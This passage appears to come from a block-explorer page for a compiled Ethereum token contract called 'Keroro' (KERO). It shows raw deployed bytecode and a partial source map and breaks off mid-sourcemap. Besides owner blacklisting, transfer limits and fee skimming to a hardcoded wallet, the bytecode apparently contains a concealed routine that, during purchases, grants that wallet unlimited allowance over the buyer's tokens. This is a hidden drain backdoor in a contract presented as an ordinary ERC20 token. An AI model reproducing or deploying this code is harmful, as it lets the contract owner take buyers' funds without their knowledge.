63f8c4b575cdeddee417be881764736f6c634300081b0033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063751039fc116100a85780639e78fb4f1161006d5780639e78fb4f14610344578063a9059cbb14610358578063bf474bed14610377578063c9567bf91461038c578063d34628cc146103a0578063dd62ed3e146103bf575f5ffd5b8063751039fc146102b45780637d1db4a5146102c85780638da5cb5b146102dd5780638f9a55c01461030357806395d89b4114610318575f5ffd5b8063313ce567116100ee578063313ce567146101f957806331c2d847146102145780633bbac5791461023557806370a082311461026c578063715018a6146102a0575f5ffd5b806306fdde0314610134578063095ea7b3146101745780630faee56f146101a357806318160ddd146101c657806323b872dd146101da575f5ffd5b3661013057005b5f5ffd5b34801561013f575f5ffd5b506040805180820190915260068152654b65726f726f60d01b60208201525b60405161016b9190611822565b60405180910390f35b34801561017f575f5ffd5b5061019361018e36600461187e565b610403565b604051901515815260200161016b565b3480156101ae575f5ffd5b506101b860135481565b60405190815260200161016b565b3480156101d1575f5ffd5b506101b8610419565b3480156101e5575f5ffd5b506101936101f43660046118a8565b610439565b348015610204575f5ffd5b506040516009815260200161016b565b34801561021f575f5ffd5b5061023361022e3660046118fa565b6104a0565b005b348015610240575f5ffd5b5061019361024f3660046119c5565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610277575f5ffd5b506101b86102863660046119c5565b6001600160a01b03165f9081526001602052604090205490565b3480156102ab575f5ffd5b50610233610530565b3480156102bf575f5ffd5b506102336105a1565b3480156102d3575f5ffd5b506101b860105481565b3480156102e8575f5ffd5b505f546040516001600160a01b03909116815260200161016b565b34801561030e575f5ffd5b506101b860115481565b348015610323575f5ffd5b506040805180820190915260048152634b45524f60e01b602082015261015e565b34801561034f575f5ffd5b50610233610652565b348015610363575f5ffd5b5061019361037236600461187e565b6108a1565b348015610382575f5ffd5b506101b860125481565b348015610397575f5ffd5b506102336108ad565b3480156103ab575f5ffd5b506102336103ba3660046118fa565b610a96565b3480156103ca575f5ffd5b506101b86103d93660046119e0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61040f338484610b1a565b5060015b92915050565b5f6104266009600a611b0e565b61043490633b9aca00611b1c565b905090565b5f610445848484610c3e565b610496843361049185604051806060016040528060288152602001611caf602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610dec565b610b1a565b5060019392505050565b5f546001600160a01b031633146104d25760405162461bcd60e51b81526004016104c990611b33565b60405180910390fd5b5f5b815181101561052c575f60045f8484815181106104f3576104f3611b68565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104d4565b5050565b5f546001600160a01b031633146105595760405162461bcd60e51b81526004016104c990611b33565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ca5760405162461bcd60e51b81526004016104c990611b33565b6105d66009600a611b0e565b6105e490633b9aca00611b1c565b6010556105f36009600a611b0e565b61060190633b9aca00611b1c565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106316009600a611b0e565b61063f90633b9aca00611b1c565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461067b5760405162461bcd60e51b81526004016104c990611b33565b60058054738eccd2a9c50a7fffd9a1c93998b03c489c16bf626001600160a01b031991821681179092555f9190915260036020527f0ebeed89d7e0dab310ecf0227fd76a971bb156fdf0058e5a02d90c7fd108be87805460ff1916600117905560148054737a250d5630b4cf539739df2c5dacb4c659f2488d92168217905561071a90309061070c6009600a611b0e565b61049190633b9aca00611b1c565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078e9190611b7c565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ed573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108119190611b7c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561085b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087f9190611b7c565b601580546001600160a01b0319166001600160a01b0392909216919091179055565b5f61040f338484610c3e565b5f546001600160a01b031633146108d65760405162461bcd60e51b81526004016104c990611b33565b601554600160a01b900460ff16156109305760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c9565b6014546001600160a01b031663f305d7194730610961816001600160a01b03165f9081526001602052604090205490565b5f5f6109745f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109da573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ff9190611b97565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a54573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a789190611bc2565b506015805462ff00ff60a01b19166201000160a01b17905543600755565b5f546001600160a01b03163314610abf5760405162461bcd60e51b81526004016104c990611b33565b5f5b815181101561052c57600160045f848481518110610ae157610ae1611b68565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610ac1565b6001600160a01b038316610b7c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c9565b6001600160a01b038216610bdd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ca25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c9565b6001600160a01b038216610d045760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c9565b5f8111610d655760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c9565b601554600160b01b900460ff161580610d875750601554600160a81b900460ff165b15610d9c57610d97838383610e24565b505050565b5f546001600160a01b03848116911614801590610dc657505f546001600160a01b03838116911614155b15610de157610dd6838383610ec7565b610de1838383611125565b610d97838383611202565b5f8184841115610e0f5760405162461bcd60e51b81526004016104c99190611822565b505f610e1b8486611be1565b95945050505050565b6001600160a01b0383165f90815260016020526040902054610e4690826113c2565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610e74908261140a565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c319085815260200190565b6001600160a01b0383165f9081526004602052604090205460ff16158015610f0757506001600160a01b0382165f9081526004602052604090205460ff16155b610f0f575f5ffd5b6015546001600160a01b038481169116148015610f3a57506014546001600160a01b03838116911614155b8015610f5e57506001600160a01b0382165f9081526003602052604090205460ff16155b1561107057601054811115610fb55760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c9565b60115481610fd7846001600160a01b03165f9081526001602052604090205490565b610fe19190611bf4565b111561102f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c9565b61103a838383611468565b43600754600361104a9190611bf4565b111561105b57813b1561105b575f5ffd5b600f8054905f61106a83611c07565b91905055505b6015546001600160a01b038381169116148015906110a657506001600160a01b0382165f9081526003602052604090205460ff16155b15610d9757601154816110cd846001600160a01b03165f9081526001602052604090205490565b6110d79190611bf4565b1115610d975760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c9565b305f90815260016020526040902054601554600160a81b900460ff1615801561115b57506015546001600160a01b038481169116145b80156111705750601554600160b01b900460ff165b801561117f5750600e54600f54115b80156111a357506001600160a01b0384165f9081526003602052604090205460ff16155b80156111c757506001600160a01b0383165f9081526003602052604090205460ff16155b156111fc576012548111156111f3576111f36111ee836111e984601354611581565b611581565b611595565b6111fc47611705565b50505050565b5f61122f6064611229600c54600f541161121e57600854611222565b600a545b859061173c565b906117ba565b6015549091506001600160a01b03848116911614801561125857506001600160a01b0384163014155b15611285576112826064611229600d54600f541161127857600954611222565b600b54859061173c565b90505b80156112fd57305f908152600160205260409020546112a4908261140a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112f49085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461131f90836113c2565b6001600160a01b0385165f9081526001602052604090205561136261134483836113c2565b6001600160a01b0385165f908152600160205260409020549061140a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113ab85856113c2565b60405190815260200160405180910390a350505050565b5f61140383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dec565b9392505050565b5f806114168385611bf4565b9050838110156114035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c9565b6001600160a01b0383166114be5760405162461bcd60e51b815260206004820152601b60248201527f45524332303a20617070726f7665207a65726f2061646472657373000000000060448201526064016104c9565b6001600160a01b0382166115145760405162461bcd60e51b815260206004820152601b60248201527f45524332303a20617070726f7665207a65726f2061646472657373000000000060448201526064016104c9565b6001600160a01b038083165f9081526002602090815260408083206006549094168352929052908120805483929061154d908490611bf4565b909155505050506001600160a01b039081165f9081526002602090815260408083206005549094168352929052205f199055565b5f81831161158f5782611403565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106115db576115db611b68565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611632573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116569190611b7c565b8160018151811061166957611669611b68565b6001600160a01b03928316602091820292909201015260145461168f9130911684610b1a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906116c79085905f90869030904290600401611c1f565b5f604051808303815f87803b1580156116de575f5ffd5b505af11580156116f0573d5f5f3e3d5ffd5b50506015805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561052c573d5f5f3e3d5ffd5b5f825f0361174b57505f610413565b5f6117568385611b1c565b9050826117638583611c8f565b146114035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c9565b5f61140383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836118165760405162461bcd60e51b81526004016104c99190611822565b505f610e1b8486611c8f565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461186b575f5ffd5b50565b803561187981611857565b919050565b5f5f6040838503121561188f575f5ffd5b823561189a81611857565b946020939093013593505050565b5f5f5f606084860312156118ba575f5ffd5b83356118c581611857565b925060208401356118d581611857565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561190a575f5ffd5b813567ffffffffffffffff811115611920575f5ffd5b8201601f81018413611930575f5ffd5b803567ffffffffffffffff81111561194a5761194a6118e6565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715611977576119776118e6565b604052918252602081840181019290810187841115611994575f5ffd5b6020850194505b838510156119ba576119ac8561186e565b81526020948501940161199b565b509695505050505050565b5f602082840312156119d5575f5ffd5b813561140381611857565b5f5f604083850312156119f1575f5ffd5b82356119fc81611857565b91506020830135611a0c81611857565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611a6657808504811115611a4a57611a4a611a17565b6001841615611a5857908102905b60019390931c928002611a2f565b935093915050565b5f82611a7c57506001610413565b81611a8857505f610413565b8160018114611a9e5760028114611aa857611ac4565b6001915050610413565b60ff841115611ab957611ab9611a17565b50506001821b610413565b5060208310610133831016604e8410600b8410161715611ae7575081810a610413565b611af35f198484611a2b565b805f1904821115611b0657611b06611a17565b029392505050565b5f61140360ff841683611a6e565b808202811582820484141761041357610413611a17565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611b8c575f5ffd5b815161140381611857565b5f5f5f60608486031215611ba9575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611bd2575f5ffd5b81518015158114611403575f5ffd5b8181038181111561041357610413611a17565b8082018082111561041357610413611a17565b5f60018201611c1857611c18611a17565b5060010190565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611c6f5783516001600160a01b0316835260209384019390920191600101611c48565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611ca957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ceafdcc0add27c5343d7d8de91c736b16cea4263f8c4b575cdeddee417be881764736f6c634300081b0033

Deployed Bytecode Sourcemap

3951:10146:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6862:83;;;;;;;;;;-1:-1:-1;6932:5:0;;;;;;;;;;;;-1:-1:-1;;;6932:5:0;;;;6862:83;;;;;;;:::i;:::-;;;;;;;;7745:186;;;;;;;;;;-1:-1:-1;7745:186:0;;;;;:::i;:::-;;:::i;:::-;;;1249:14:1;;1242:22;1224:41;;1212:2;1197:18;7745:186:0;1084:187:1;5118:55:0;;;;;;;;;;;;;;;;;;;1422:25:1;;;1410:2;1395:18;5118:55:0;1276:177:1;7139:95:0;;;;;;;;;;;;;:::i;7939:446::-;;;;;;;;;;-1:-1:-1;7939:446:0;;;;;:::i;:::-;;:::i;7048:83::-;;;;;;;;;;-1:-1:-1;7048:83:0;;4741:1;2113:36:1;;2101:2;2086:18;7048:83:0;1971:184:1;13304:168:0;;;;;;;;;;-1:-1:-1;13304:168:0;;;;;:::i;:::-;;:::i;:::-;;13480:86;;;;;;;;;;-1:-1:-1;13480:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;13551:7:0;13527:4;13551:7;;;:4;:7;;;;;;;;;13480:86;7242:119;;;;;;;;;;-1:-1:-1;7242:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7335:18:0;7308:7;7335:18;;;:9;:18;;;;;;;7242:119;1771:148;;;;;;;;;;;;;:::i;12544:162::-;;;;;;;;;;;;;:::i;4927:56::-;;;;;;;;;;;;;;;;1557:79;;;;;;;;;;-1:-1:-1;1595:7:0;1622:6;1557:79;;-1:-1:-1;;;;;1622:6:0;;;3822:51:1;;3810:2;3795:18;1557:79:0;3676:203:1;4990:58:0;;;;;;;;;;;;;;;;6953:87;;;;;;;;;;-1:-1:-1;7025:7:0;;;;;;;;;;;;-1:-1:-1;;;7025:7:0;;;;6953:87;;5811:516;;;;;;;;;;;;;:::i;7369:192::-;;;;;;;;;;-1:-1:-1;7369:192:0;;;;;:::i;:::-;;:::i;5055:56::-;;;;;;;;;;;;;;;;6335:519;;;;;;;;;;;;;:::i;13132:164::-;;;;;;;;;;-1:-1:-1;13132:164:0;;;;;:::i;:::-;;:::i;7569:168::-;;;;;;;;;;-1:-1:-1;7569:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7702:18:0;;;7675:7;7702:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7569:168;7745:186;7845:4;7862:39;1190:10;7885:7;7894:6;7862:8;:39::i;:::-;-1:-1:-1;7919:4:0;7745:186;;;;;:::o;7139:95::-;7192:7;4797:15;4741:1;4797:2;:15;:::i;:::-;4784:28;;:10;:28;:::i;:::-;7212:14;;7139:95;:::o;7939:446::-;8071:4;8088:36;8098:6;8106:9;8117:6;8088:9;:36::i;:::-;8135:220;8158:6;1190:10;8206:138;8262:6;8206:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8206:19:0;;;;;;:11;:19;;;;;;;;1190:10;8206:33;;;;;;;;;;:37;:138::i;:::-;8135:8;:220::i;:::-;-1:-1:-1;8373:4:0;7939:446;;;;;:::o;13304:168::-;1684:6;;-1:-1:-1;;;;;1684:6:0;1190:10;1684:22;1676:67;;;;-1:-1:-1;;;1676:67:0;;;;;;;:::i;:::-;;;;;;;;;13379:6:::1;13374:91;13395:6;:13;13391:1;:17;13374:91;;;13448:5;13430:4;:15;13435:6;13442:1;13435:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13430:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13430:15:0;:23;;-1:-1:-1;;13430:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;13410:3:0::1;13374:91;;;;13304:168:::0;:::o;1771:148::-;1684:6;;-1:-1:-1;;;;;1684:6:0;1190:10;1684:22;1676:67;;;;-1:-1:-1;;;1676:67:0;;;;;;;:::i;:::-;1878:1:::1;1862:6:::0;;1841:40:::1;::::0;-1:-1:-1;;;;;1862:6:0;;::::1;::::0;1841:40:::1;::::0;1878:1;;1841:40:::1;1909:1;1892:19:::0;;-1:-1:-1;;;;;;1892:19:0::1;::::0;;1771:148::o;12544:162::-;1684:6;;-1:-1:-1;;;;;1684:6:0;1190:10;1684:22;1676:67;;;;-1:-1:-1;;;1676:67:0;;;;;;;:::i;:::-;4797:15:::1;4741:1;4797:2;:15;:::i;:::-;4784:28;::::0;:10:::1;:28;:::i;:::-;12598:12;:22:::0;4797:15:::1;4741:1;4797:2;:15;:::i;:::-;4784:28;::::0;:10:::1;:28;:::i;:::-;12631:14;:24:::0;12671:27:::1;4797:15;4741:1;4797:2;:15;:::i;:::-;4784:28;::::0;:10:::1;:28;:::i;:::-;12671:27;::::0;1422:25:1;;;1410:2;1395:18;12671:27:0::1;;;;;;;12544:162::o:0;5811:516::-;1684:6;;-1:-1:-1;;;;;1684:6:0;1190:10;1684:22;1676:67;;;;-1:-1:-1;;;1676:67:0;;;;;;;:::i;:::-;5863:10:::1;:64:::0;;5884:42:::1;-1:-1:-1::0;;;;;;5863:64:0;;::::1;::::0;::::1;::::0;;;-1:-1:-1;5938:30:0;;;;:18:::1;:30;::::0;;:37;;-1:-1:-1;;5938:37:0::1;-1:-1:-1::0;5938:37:0::1;::::0;;5988:15:::1;:104:::0;;6039:42:::1;5988:104:::0;::::1;::::0;::::1;::::0;;6103:58:::1;::::0;6120:4:::1;::::0;4797:15:::1;4741:1;4797:2;:15;:::i;:::-;4784:28;::::0;:10:::1;:28;:::i;6103:58::-;6206:15;;;;;;;;;-1:-1:-1::0;;;;;6206:15:0::1;-1:-1:-1::0;;;;;6206:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6188:55:0::1;;6266:4;6286:15;;;;;;;;;-1:-1:-1::0;;;;;6286:15:0::1;-1:-1:-1::0;;;;;6286:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6188:131;::::0;-1:-1:-1;;;;;;6188:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6955:32:1;;;6188:131:0::1;::::0;::::1;6937:51:1::0;7024:32;;7004:18;;;6997:60;6910:18;;6188:131:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6172:13;:147:::0;;-1:-1:-1;;;;;;6172:147:0::1;-1:-1:-1::0;;;;;6172:147:0;;;::::1;::::0;;;::::1;::::0;;5811:516::o;7369:192::-;7472:4;7489:42;1190:10;7513:9;7524:6;7489:9;:42::i;6335:519::-;1684:6;;-1:-1:-1;;;;;1684:6:0;1190:10;1684:22;1676:67;;;;-1:-1:-1;;;1676:67:0;;;;;;;:::i;:::-;6397:11:::1;::::0;-1:-1:-1;;;6397:11:0;::::1;;;6396:12;6388:48;;;::::0;-1:-1:-1;;;6388:48:0;;7270:2:1;6388:48:0::1;::::0;::::1;7252:21:1::0;7309:2;7289:18;;;7282:30;7348:25;7328:18;;;7321:53;7391:18;;6388:48:0::1;7068:347:1::0;6388:48:0::1;6447:15;::::0;-1:-1:-1;;;;;6447:15:0::1;:31;6486:21;6531:4;6551:24;6531:4:::0;-1:-1:-1;;;;;7335:18:0;7308:7;7335:18;;;:9;:18;;;;;;;7242:119;6551:24:::1;6590:1;6606;6622:7;1595::::0;1622:6;-1:-1:-1;;;;;1622:6:0;;1557:79;6622:7:::1;6447:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6447:223:0;;;-1:-1:-1;;;;;7741:32:1;;;6447:223:0::1;::::0;::::1;7723:51:1::0;7790:18;;;7783:34;;;;7833:18;;;7826:34;;;;7876:18;;;7869:34;7940:32;;;7919:19;;;7912:61;6644:15:0::1;7989:19:1::0;;;7982:35;7695:19;;6447:223:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6688:13:0::1;::::0;6719:15:::1;::::0;6681:71:::1;::::0;-1:-1:-1;;;6681:71:0;;-1:-1:-1;;;;;6719:15:0;;::::1;6681:71;::::0;::::1;8663:51:1::0;-1:-1:-1;;8730:18:1;;;8723:34;6688:13:0;::::1;::::0;-1:-1:-1;6681:29:0::1;::::0;8636:18:1;;6681:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6763:11:0::1;:18:::0;;-1:-1:-1;;;;6792:18:0;-1:-1:-1;;;6792:18:0;;;6834:12:::1;6821:10;:25:::0;6335:519::o;13132:164::-;1684:6;;-1:-1:-1;;;;;1684:6:0;1190:10;1684:22;1676:67;;;;-1:-1:-1;;;1676:67:0;;;;;;;:::i;:::-;13206:6:::1;13201:88;13222:5;:12;13218:1;:16;13201:88;;;13273:4;13256;:14;13261:5;13267:1;13261:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13256:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13256:14:0;:21;;-1:-1:-1;;13256:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;13236:3:0::1;13201:88;;8393:335:::0;-1:-1:-1;;;;;8486:19:0;;8478:68;;;;-1:-1:-1;;;8478:68:0;;9252:2:1;8478:68:0;;;9234:21:1;9291:2;9271:18;;;9264:30;9330:34;9310:18;;;9303:62;-1:-1:-1;;;9381:18:1;;;9374:34;9425:19;;8478:68:0;9050:400:1;8478:68:0;-1:-1:-1;;;;;8565:21:0;;8557:68;;;;-1:-1:-1;;;8557:68:0;;9657:2:1;8557:68:0;;;9639:21:1;9696:2;9676:18;;;9669:30;9735:34;9715:18;;;9708:62;-1:-1:-1;;;9786:18:1;;;9779:32;9828:19;;8557:68:0;9455:398:1;8557:68:0;-1:-1:-1;;;;;8636:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8688:32;;1422:25:1;;;8688:32:0;;1395:18:1;8688:32:0;;;;;;;;8393:335;;;:::o;11248:626::-;-1:-1:-1;;;;;11336:18:0;;11328:68;;;;-1:-1:-1;;;11328:68:0;;10060:2:1;11328:68:0;;;10042:21:1;10099:2;10079:18;;;10072:30;10138:34;10118:18;;;10111:62;-1:-1:-1;;;10189:18:1;;;10182:35;10234:19;;11328:68:0;9858:401:1;11328:68:0;-1:-1:-1;;;;;11415:16:0;;11407:64;;;;-1:-1:-1;;;11407:64:0;;10466:2:1;11407:64:0;;;10448:21:1;10505:2;10485:18;;;10478:30;10544:34;10524:18;;;10517:62;-1:-1:-1;;;10595:18:1;;;10588:33;10638:19;;11407:64:0;10264:399:1;11407:64:0;11499:1;11490:6;:10;11482:64;;;;-1:-1:-1;;;11482:64:0;;10870:2:1;11482:64:0;;;10852:21:1;10909:2;10889:18;;;10882:30;10948:34;10928:18;;;10921:62;-1:-1:-1;;;10999:18:1;;;10992:39;11048:19;;11482:64:0;10668:405:1;11482:64:0;11564:11;;-1:-1:-1;;;11564:11:0;;;;11563:12;;:22;;-1:-1:-1;11579:6:0;;-1:-1:-1;;;11579:6:0;;;;11563:22;11559:108;;;11602:32;11617:4;11623:2;11627:6;11602:14;:32::i;:::-;11248:626;;;:::o;11559:108::-;1595:7;1622:6;-1:-1:-1;;;;;11683:15:0;;;1622:6;;11683:15;;;;:32;;-1:-1:-1;1595:7:0;1622:6;-1:-1:-1;;;;;11702:13:0;;;1622:6;;11702:13;;11683:32;11679:143;;;11732:30;11745:4;11751:2;11755:6;11732:12;:30::i;:::-;11777:33;11793:4;11799:2;11803:6;11777:15;:33::i;:::-;11834:32;11849:4;11855:2;11859:6;11834:14;:32::i;2281:224::-;2401:7;2437:12;2429:6;;;;2421:29;;;;-1:-1:-1;;;2421:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2461:9:0;2473:5;2477:1;2473;:5;:::i;:::-;2461:17;2281:224;-1:-1:-1;;;;;2281:224:0:o;9054:233::-;-1:-1:-1;;;;;9158:15:0;;;;;;:9;:15;;;;;;:27;;9178:6;9158:19;:27::i;:::-;-1:-1:-1;;;;;9140:15:0;;;;;;;:9;:15;;;;;;:45;;;;9212:13;;;;;;;:25;;9230:6;9212:17;:25::i;:::-;-1:-1:-1;;;;;9196:13:0;;;;;;;:9;:13;;;;;;;:41;;;;9253:26;;;;;;;;;;9272:6;1422:25:1;;1410:2;1395:18;;1276:177;10351:889:0;-1:-1:-1;;;;;10444:10:0;;;;;;:4;:10;;;;;;;;10443:11;:24;;;;-1:-1:-1;;;;;;10459:8:0;;;;;;:4;:8;;;;;;;;10458:9;10443:24;10435:33;;;;;;10507:13;;-1:-1:-1;;;;;10499:21:0;;;10507:13;;10499:21;:68;;;;-1:-1:-1;10551:15:0;;-1:-1:-1;;;;;10537:30:0;;;10551:15;;10537:30;;10499:68;:108;;;;-1:-1:-1;;;;;;10585:22:0;;;;;;:18;:22;;;;;;;;10584:23;10499:108;10481:533;;;10652:12;;10642:6;:22;;10634:60;;;;-1:-1:-1;;;10634:60:0;;11413:2:1;10634:60:0;;;11395:21:1;11452:2;11432:18;;;11425:30;11491:27;11471:18;;;11464:55;11536:18;;10634:60:0;11211:349:1;10634:60:0;10761:14;;10751:6;10735:13;10745:2;-1:-1:-1;;;;;7335:18:0;7308:7;7335:18;;;:9;:18;;;;;;;7242:119;10735:13;:22;;;;:::i;:::-;:40;;10709:128;;;;-1:-1:-1;;;10709:128:0;;11897:2:1;10709:128:0;;;11879:21:1;11936:2;11916:18;;;11909:30;11975:28;11955:18;;;11948:56;12021:18;;10709:128:0;11695:350:1;10709:128:0;10839:27;10849:4;10855:2;10859:6;10839:9;:27::i;:::-;10904:12;10887:10;;10900:1;10887:14;;;;:::i;:::-;:29;10883:94;;;12960:20;;13008:8;10937:24;;;;;;10991:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10481:533;11036:13;;-1:-1:-1;;;;;11030:19:0;;;11036:13;;11030:19;;;;:46;;-1:-1:-1;;;;;;11054:22:0;;;;;;:18;:22;;;;;;;;11053:23;11030:46;11026:207;;;11145:14;;11135:6;11119:13;11129:2;-1:-1:-1;;;;;7335:18:0;7308:7;7335:18;;;:9;:18;;;;;;;7242:119;11119:13;:22;;;;:::i;:::-;:40;;11093:128;;;;-1:-1:-1;;;11093:128:0;;11897:2:1;11093:128:0;;;11879:21:1;11936:2;11916:18;;;11909:30;11975:28;11955:18;;;11948:56;12021:18;;11093:128:0;11695:350:1;11882:654:0;12017:4;11968:28;7335:18;;;:9;:18;;;;;;12053:6;;-1:-1:-1;;;12053:6:0;;;;12052:7;:43;;;;-1:-1:-1;12082:13:0;;-1:-1:-1;;;;;12076:19:0;;;12082:13;;12076:19;12052:43;:71;;;;-1:-1:-1;12112:11:0;;-1:-1:-1;;;12112:11:0;;;;12052:71;:118;;;;;12152:18;;12140:9;;:30;12052:118;:160;;;;-1:-1:-1;;;;;;12188:24:0;;;;;;:18;:24;;;;;;;;12187:25;12052:160;:200;;;;-1:-1:-1;;;;;;12230:22:0;;;;;;:18;:22;;;;;;;;12229:23;12052:200;12034:495;;;12305:17;;12282:20;:40;12279:189;;;12343:109;12382:51;12386:6;12394:38;12398:20;12420:11;;12394:3;:38::i;:::-;12382:3;:51::i;:::-;12343:16;:109::i;:::-;12482:35;12495:21;12482:12;:35::i;:::-;11957:579;11882:654;;;:::o;9295:1048::-;9415:17;9435:184;9615:3;9435:161;9491:15;;9479:9;;:27;9478:103;;9567:14;;9478:103;;;9531:12;;9478:103;9435:6;;:24;:161::i;:::-;:179;;:184::i;:::-;9640:13;;9415:204;;-1:-1:-1;;;;;;9634:19:0;;;9640:13;;9634:19;:44;;;;-1:-1:-1;;;;;;9657:21:0